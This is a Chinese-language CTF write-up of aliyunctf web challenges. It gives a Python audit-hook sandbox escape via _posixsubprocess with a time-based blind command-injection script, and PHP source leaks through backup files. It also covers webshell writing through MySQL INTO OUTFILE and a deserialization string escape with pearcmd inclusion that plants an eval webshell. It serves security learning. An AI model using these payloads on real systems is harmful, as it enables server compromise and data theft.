WEB
ezoj
啊?怎么整个五个算法题给CTF选手做??这我不得不展示一下真正的技术把测评机打穿。 题目环境不出网。
——————
开题就是几个算法题,在页面下方看到

访问source路由拿到源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
|
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
|
审计代码,关键代码就是传参,然后可以往python文件写python代码,但是设置了audit沙箱,简单说几个关键代码,写入文件的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
。。。。。。
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
|
这里就是从post传参来获取到code的值,让然后拼接CODE_TEMPLATE写入到一个python文件。
运行python文件代码:
1
2
3
4
5
6
7
8
9
10
|
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
|
就是执行python文件。可以进行对python文件内容进行代码注入,看拼接的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
|
audit hook沙箱,就是限制了sys对进程的一些加载以及利用。可以看到是允许import操作,以及time模块的sleep方法等,这里就是audithook沙箱,可以打沙箱逃逸,在audit沙箱逃逸中,非常经典的就是使用fok_exec()函数,即利用_posixsubprocess
模块,这个模块就是创建了一个子进程,可以进行命令执行,一个简单的payload如下:
1
2
3
4
|
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/sh","-c","cat /etc/passwd"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
|
可以本地测试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/sh","-c","ls /"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
|
执行效果如下:

成功命令执行。
但是现在就需要想在题目中怎么利用。
题目描述说了环境不出网。那就打命令盲注。参考到之前的脚本稍微改改:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
import requests
import time
url = "http://121.41.238.106:13847/api/submit"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-"
result = ""
for i in range(1, 5): # 假设有 4 行
print(f"第{i}行")
for j in range(1, 7): # 假设每行最多 7个字符
for char in charset: # 限制字符范围为字母和数字
json_data = {
"problem_id": "0",
"code": f'''import os
import _posixsubprocess
_posixsubprocess.fork_exec(["/bin/sh", "-c", "if [ $(ls / | awk NR=={i} | cut -c {j}) = '{char}' ];then sleep 2; fi"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
'''
}
try:
start_time = time.time()
res = requests.post(url, json=json_data)
end_time = time.time()
delay = end_time - start_time
if delay > 2:
result += char
print(f"当前结果: {result}")
break
except Exception as e:
print(f"请求失败: {e}")
continue
result += " "
print("最终结果:")
print(result)
|
就是有点慢,一直等着跑:

还没跑出来flag文件名称,简单改一下i
的范围即可,然后继续跑,跑出来一个flag-9的名称:

直接用通配符*
匹配然后读取内容,注意将j的值改大点,简单改改就行了:
1
2
3
4
5
6
7
8
9
10
11
|
for i in range(1, 2): # 假设有 4 行
print(f"第{i}行")
for j in range(1, 30): # 假设每行最多 7 个字符
for char in charset: # 限制字符范围为字母和数字
json_data = {
"problem_id": "0",
"code": f'''import os
import _posixsubprocess
_posixsubprocess.fork_exec(["/bin/sh", "-c", "if [ $(cat /flag-9* | awk NR=={i} | cut -c {j}) = '{char}' ];then sleep 2; fi"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
'''
}
|
爆出来:
1
|
aliyunctf{076d4662-656b-4889-
|
长度不够,再改点:
1
2
3
4
5
6
7
8
9
10
11
|
for i in range(1, 2): # 假设有 4 行
print(f"第{i}行")
for j in range(30, 60): # 假设每行最多 7 个字符
for char in charset: # 限制字符范围为字母和数字
json_data = {
"problem_id": "0",
"code": f'''import os
import _posixsubprocess
_posixsubprocess.fork_exec(["/bin/sh", "-c", "if [ $(cat /flag-9* | awk NR=={i} | cut -c {j}) = '{char}' ];then sleep 2; fi"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
'''
}
|
然后再爆出来:
直接拼接到交就行了:
1
|
aliyunctf{076d4662-656b-4889-ac30-77bb8c19fefa}
|
——————
打卡OK
没写好的系统怎么会打卡ok呢~
——————
开题,跳转到了login.php,后端是php,扫目录:

在index.php~
文件中拿到了index.php文件源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<?php
session_start();
if($_SESSION['login']!=1){
echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
return ;
}
?>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}else{
include 'error.php';
}
}
?>
|
还是显示必须要登录,但是在登录框有一个code,不知道是干什么的,也爆破不了。后面发现其实可以任意读取文件源码,类似xxxx.php~
这样来读取文件内容,部分文件的文件泄露,下面贴一下文件内容荣,这里就只保留php代码了:
login.php文件内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
$username=addslashes($_POST['username']);
$password=$_POST['password'];
$code=$_POST['code'];
$endpass=md5($code.$password).':'.$code;
$sql = "select password from users where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if($endpass==$row['password']){
$_SESSION['login'] = 1;
$_SESSION['username'] = md5($username);
echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
}
}
} else {
echo "<script>alert(\"错误\");</script>";
die();
}
$conn->close();
}
?>
|
pass.php文件内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
class mypass
{
public function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
public function checkpass($plain)
{
$password = $this->generateRandomString();
$salt = substr(md5($password), 0, 5);
$password = md5($salt . $plain) . ':' . $salt;
return $password;
}
}
|
cache.php文件内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class myCache
{
public function writecache($name,$data) {
$file = '/var/www/html/cache/' . $name . '.php';
$cachedata = "<?php exit;//" . $data;
file_put_contents($file,$cachedata);
return '';
}
}
class checkin{
function writec($data,$name)
{
$wr=new myCache();
$wr->writecache($data,$name);
}
}
?>
|
审计代码,可以发现在index.php文件中,存在一个文件包含的操作另一个php文件的操作。
简单说说index.php文件逻辑,序列化操作,是序列化了一个数组,案后将其存放在一个文件中(集合index.php和cache.php文件来看),可以简单写一个代码来看一下写文件的内容是什么:
1
2
3
4
5
6
7
|
<?php
$arraya=serialize(array("name"=>"fupanc","reason"=>"123","time"=>"11112","background"=>"ok"));
$name="fupanc".'-'.date("Y-m-d");
$file = $name . '.php';
$cachedata = "<?php exit;//" . $arraya;
file_put_contents($file,$cachedata);
|
文件fupanc-2025-02-23.php文件内容为:
1
|
<?php exit;//a:4:{s:4:"name";s:6:"fupanc";s:6:"reason";s:3:"123";s:4:"time";s:5:"11112";s:10:"background";s:2:"ok";}
|
就是序列化数据,只是前面插入了一段php文件,估计是防止直接利用这个文件,死亡exit也绕不了,文件名不可控:
1
|
$file = '/var/www/html/cache/' . $name . '.php';
|
然后看其他index.php的其他代码,可以读出文件读取操作和反序列化操作,还有个字符串替换操作:
1
2
3
4
5
6
7
|
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}
|
这里其实就是将插入的<?php exit;//
替换为空,然后反序列化,就是反序列化为数组,然后读取数组中的内容,再包含它。从前面的序列化的代码可以看出,这里就是包含ok.php的内容,访问没有东西,还是直接看源码,得到如下内容:
1
2
|
<?php echo 'ok';?>
//adminer_481.php
|
访问就是mysql的连接操作:

有点类似数据库操作的内容,但是这里就没获取到源码:

在login.php文件中可以看到数据库名以及密码等信息,直接登录看看:

可以查看数据库文件,以及可以执行sql语句。也尝试了into outfile和日志写马,但是都没有成功。应该是没有权限。
再看index.php代码,在isset($_POST['reason'])
的代码块中,这个time似乎是可控的:
1
2
3
4
5
6
7
8
9
10
|
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
|
那么是否可以打字符串逃逸呢,直接控制time的值为<?php exit;//
的一部分,然后被替换为空,并且这里的reason
变量也是可控的,这样的话就是打字符串逃逸(减少),然后包含其他文件,测试一下data函数的输出:
1
2
3
4
5
6
7
8
9
10
|
<?php
$a=111;
$b="<?php exit;//";
echo date($a).PHP_EOL;
echo date($b);
//output:
111
<?Z08Z UTC20255228;//
|
不可控,打不了,date()
函数会。
还是需要打其他的方法。
尝试一下root的一般的默认密码root,直接登进去了:

成功执行命令:

尝试写马:
1
|
select '<?php echo 123; @eval($_POST[123]); ?>' into outfile '/var/www/html/shell.php'
|
成功执行:

访问1.php,成功执行:

得到flag:
1
|
aliyunctf{a9d1e1d9-53d5-4d10-a96b-361d693fb502}
|
——————
最后看了一下官方wp。上面的是当时打出来的非预期解法。下面来简单说说预期解是反序列化字符串逃逸打pearcmd文件包含,主要还是这里的date()函数的绕过,在前面的php测试代码中,可以看出来是有字母或其他符号,会杯输出为其他内容。但是这里可以使用反斜杠来绕过,测试代码如下:
1
2
3
4
5
6
7
8
9
10
|
<?php
$a=111;
$b="\<\?\p\h\p\ \\e\x\i\\t\;\/\/";
echo date($a).PHP_EOL;
echo date($b);
/*output:
111
<?php exit;//
*/
|
由于php的特性,这里的\e
和\t
是一个特殊字符,所以多拿一个\
来将前面的给转义,让其不被解析为特殊字符。
从输出结果可以看出来成功输出想要的内容。再加上前面说的time变量是可控的,再加上reason
变量可控,这里尝试如下包含pearcmd文件内容,简单来构造一下:
正常的内容大概如下:
1
|
<?php exit;//a:4:{s:4:"name";s:6:"fupanc";s:6:"reason";s:3:"123";s:4:"time";s:5:"11112";s:10:"background";s:2:"ok";}
|
然后会将<?php exit;//
替换为空,这里看一下怎么利用。基本思路就是将background里面对应的ok
给删去,替换为pearcmd内容。
看了一下,感觉这里是需要结合当时字符串增多的特性来使用的,就是反序列化时匹配到足够的字符,然后就不会再匹配后面的字符了,这里需要将";s:4:"time";s:5:"
吞掉,然后马上将time的值给设置给指定的值,在吞掉结束后,马上匹配一个"+后续字符
来构成一个完整的序列化字符串,然后这里的长度匹配如下:
1
2
3
4
5
6
|
print(len('";s:4:"time";s:5:"xxxxxxxx'))
a='";s:10:"background";s:7:"pearcmd";}'
print(len('<?php exit;//'))
//output:
18
13
|
需要改成长度匹配,而整数倍,这里只能修改字符串长度,所以让如下即可:
1
2
3
4
5
6
|
print(len('";s:4:"time";s:5:"xxxxxxxx'))
a='";s:10:"background";s:7:"pearcmd";}'
print(len('<?php exit;//'))
//output:
26
13
|
传参就如下传即可:
1
|
xxxxxxxx";s:4:"time";s:5:"11112";s:10:"background";s:7:"pearcmd";}
|
看看输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
$arraya=serialize(array("name"=>"fupanc","reason"=>"<?php exit;//<?php exit;//","time"=>'xxxxxxxx";s:4:"time";s:5:"11112";s:10:"background";s:7:"pearcmd";}',"background"=>"ok"));
$name="fupanc".'-'.date("Y-m-d");
$file = $name . '.php';
$cachedata = "<?php exit;//" . $arraya;
file_put_contents($file,$cachedata);
$data=file_get_contents($file);
$b=str_replace("<?php exit;//", '', $data);
echo $b;
//output:
a:4:{s:4:"name";s:6:"fupanc";s:6:"reason";s:26:"";s:4:"time";s:66:"xxxxxxxx";s:4:"time";s:5:"11112";s:10:"background";s:7:"pearcmd";}";s:10:"background";s:2:"ok";}
|
在反序列化尝试时运行报错,再看,发现是长度出了问题,这里的time的长度为66,但是我原先测试的时候是设置为了一个长度为5的值,所以这里需要改一下长度,减少一个x即可,最后尝试如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
$arraya=serialize(array("name"=>"fupanc","reason"=>"<?php exit;//<?php exit;//","time"=>'xxxxxxx";s:4:"time";s:5:"11112";s:10:"background";s:7:"pearcmd";}',"background"=>"ok"));
$name="fupanc".'-'.date("Y-m-d");
$file = $name . '.php';
$cachedata = "<?php exit;//" . $arraya;
file_put_contents($file,$cachedata);
$data=file_get_contents($file);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
echo $checkdata['background'].".php";
|
输出为:
成功了!,那么就可以打了,但是需要注意一下文件包含的路径,由于代码逻辑拼接了路径,所以需要进行目录穿越,最后的payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
$arraya=serialize(array("name"=>"fupanc","reason"=>"<?php exit;//<?php exit;//","time"=>'xxxxxxx";s:4:"time";s:5:"11112";s:10:"background";s:37:"../../../../usr/local/lib/php/pearcmd";}',"background"=>"ok"));
$name="fupanc".'-'.date("Y-m-d");
$file = $name . '.php';
$cachedata = "<?php exit;//" . $arraya;
file_put_contents($file,$cachedata);
$data=file_get_contents($file);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
echo $checkdata['background'].".php";
//output:
../../../../usr/local/lib/php/pearcmd.php
|
再简单进行一下预期解的做法:
在login.php文件内容中可以看到登录以及存入数据库的逻辑,并且是直接写入web数据库的,直接连接即可,然后自己写一个就行了:
1
2
3
4
|
<?php
$code=2222;
$password="2222";
echo md5($code.$password).':'.$code;
|
输出内容作为密码,然后建立数据:

然后直接登录即可:username:fupanc password:2222 code:2222。
这样就能够进入index.php页面进行文件包含了,为了能够控制date()函数传参,需要加一个\
,这里直接用脚本来分割:
1
2
3
|
input_str = 'xxxxxxx";s:4:"time";s:5:"11112";s:10:"background";s:37:"../../../../usr/local/lib/php/pearcmd";}'
output_str = ''.join([f'\\{c}' for c in input_str])
print(output_str)
|
得到:
1
|
\x\x\x\x\x\x\x\"\;\s\:\4\:\"\t\i\m\e\"\;\s\:\5\:\"\1\1\1\1\2\"\;\s\:\1\0\:\"\b\a\c\k\g\r\o\u\n\d\"\;\s\:\3\7\:\"\.\.\/\.\.\/\.\.\/\.\.\/\u\s\r\/\l\o\c\a\l\/\l\i\b\/\p\h\p\/\p\e\a\r\c\m\d\"\;\}
|
从代码逻辑中可以得到传两次,一次写入文件,一次读取为文件从而包含:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}
}
?>
|
第一次传参如下:
1
2
3
|
get传参:debug_buka=\x\x\x\x\x\x\x\"\;\s\:\4\:\"\t\i\m\e\"\;\s\:\5\:\"\1\1\1\1\2\"\;\s\:\1\0\:\"\b\a\c\k\g\r\o\u\n\d\"\;\s\:\3\7\:\"\.\.\/\.\.\/\.\.\/\.\.\/\u\s\r\/\l\o\c\a\l\/\l\i\b\/\p\h\p\/\p\e\a\r\c\m\d\"\;\}
post传参:reason=<?php exit;//<?php exit;//
|
有符号,注意url编码,如下:

第二次传参:
1
|
get传参:?+config-create+/&check=1&/<?=@eval($_POST['cmd']);?>+/var/www/html/1234.php
|
如下:

这里简单注意一下格式吧,这个config-create不是有两种格式吗,另外一种格式只有官方wp那样可以写进去。
最后进行命令执行即可:

同样拿到flag。
后面的两道java题打的时候没打出来,就后面学了再来复现吧。
Java Tools
————————————
Espresso Coffee
Buy me a cup of Espresso Coffee plz! Here are some JDK download links you may need
https://gds.oracle.com/download/espresso/archive/espresso-java21-24.1.1-linux-amd64.tar.gz
https://gds.oracle.com/download/espresso/archive/espresso-java21-24.1.1-linux-aarch64.tar.gz
https://gds.oracle.com/download/espresso/archive/espresso-java21-24.1.1-macos-amd64.tar.gz
https://gds.oracle.com/download/espresso/archive/espresso-java21-24.1.1-macos-aarch64.tar.gz
https://gds.oracle.com/download/espresso/archive/espresso-java21-24.1.1-windows-amd64.zip
hint:
-
Focus on the fields of org.graalvm.continuations.ContinuationImpl.FrameRecord
-
Abuse org.graalvm.continuations.ContinuationImpl#stackFrameHead => Hijack the Control Flow => “ROP”
-
Command Exec Gadget
-
sun.print.UnixPrintJob
————————
官方wp:
https://xz.aliyun.com/news/17029?time__1311=eqUxn7DQoYqGT4mqGXnjAD97YGOzO1tH4D&u_atoken=fcc01ab1aceadb0f15326e34dbaa7b49&u_asig=1a0c399b17406473291628172e011d